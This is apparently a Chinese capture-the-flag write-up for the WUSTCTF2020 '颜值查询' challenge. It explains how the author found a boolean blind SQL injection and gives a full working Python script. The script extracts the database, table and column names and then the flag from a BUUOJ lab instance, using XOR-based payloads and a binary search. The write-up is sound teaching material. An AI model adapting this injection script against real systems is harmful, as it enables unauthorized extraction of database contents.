WUSTCTF2020 颜值查询

题型分析:emm,这是一道SQL注入的题(一看到查询,就明白了)

首先,尝试一下页面(还是bootstrap写的呢,老搬砖了)。

emm,感觉是个数字类型的注入。尝试了好多次,发现没有错误回显,emm联合注入也出现了问题。在尝试的过程中,发现可能存在布尔盲注的可能

于是,尝试一下

0^1

0^0

两种不同的情况,于是开始布尔盲注。幸好,出题大大善良,并没有过滤什么。于是开始脚本编写

import requests
import time

host = "http://b9e40acf-6866-4745-8b92-68ae03a88d82.node4.buuoj.cn:81/index.php"


# true:3640
# false:3638
# database=ctf
def getdatabase():
	database_name = ""
	for x in range(1, 1000):
		low = 32
		height = 127
		mid = (low + height) // 2
		while low < height:
			params = {
     
				"stunum": "0^(ascii(mid(database()," + str(x) + ",1))>" + str(mid) + ")"
			}
			r = requests.get(url=host, params=params)
			if len(r.text) == 3640:
				low = mid + 1
			else:
				height = mid
			mid = (low + height) // 2
		if low <= 32 or height >= 127:
			break
		database_name += chr(mid)
		print("数据库为:", database_name)


# payload:0^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf')),"+str(x)+",1))>"+str(mid)+")
# table:flag,score
def gettable():
	table_name = ""
	for x in range(1, 1000):
		low = 32
		height = 127
		mid = (low + height) // 2
		while low < height:
			params = {
     
				"stunum": "0^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf'))," + str(
					x) + ",1))>" + str(mid) + ")"
			}
			r = requests.get(url=host, params=params)
			if len(r.text) == 3640:
				low = mid + 1
			else:
				height = mid
			mid = (low + height) // 2
		if low <= 32 or height >= 127:
			break
		table_name += chr(mid)
		print("表名为:", table_name)
		time.sleep(1)


#column:flag,value
def getcolumn():
	column_name = ""
	for x in range(1, 1000):
		low = 32
		height = 127
		mid = (low + height) // 2
		while low < height:
			params = {
     
				"stunum": "0^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag'))," + str(x) + ",1))>" + str(mid) + ")"
			}
			r = requests.get(url=host, params=params)
			if len(r.text) == 3640:
				low = mid + 1
			else:
				height = mid
			mid = (low + height) // 2
		if low <= 32 or height >= 127:
			break
		column_name += chr(mid)
		print("字段名为:", column_name)
		time.sleep(1)

def getflag():
	flag = ""
	for x in range(1, 1000):
		low = 32
		height = 127
		mid = (low + height) // 2
		while low < height:
			params = {
     
				"stunum": "0^(ord(substr((select(group_concat(value))from(flag))," + str(x) + ",1))>" + str(mid) + ")"
			}
			r = requests.get(url=host, params=params)
			if len(r.text) == 3640:
				low = mid + 1
			else:
				height = mid
			mid = (low + height) // 2
		if low <= 32 or height >= 127:
			break
		flag += chr(mid)
		print("flag为:", flag)
		time.sleep(1)



getdatabase()
gettable()
getcolumn()
getflag()
  • 由于页面返回字符太多,于是在判断方法上我选用了判别返回长度的方式。筛选过程又使用了二分法(二分法yyds),比暴力快了很多
  • 其中数据库可以不用查询的,在查table_name的时候,填数据库直接写database()也是可以的

你可能感兴趣的:(CTF,sql,网络安全,sql)